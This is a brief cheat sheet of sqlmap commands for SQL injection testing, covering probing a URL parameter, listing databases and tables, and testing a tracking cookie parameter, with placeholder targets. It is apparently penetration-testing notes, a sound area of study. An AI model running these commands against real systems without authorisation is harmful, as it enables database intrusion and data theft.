SQLMap

sqlmap -u url -p paramter_vulnerable
sqlmap -u url -p paramter_vulnerable --dbs
sqlmap -u url -p paramter_vulnerable --tables
sqlmap --cookie="TrackingId=value_cookir" -u "url" -p "TrackingId" --level 3 #sqli in cookie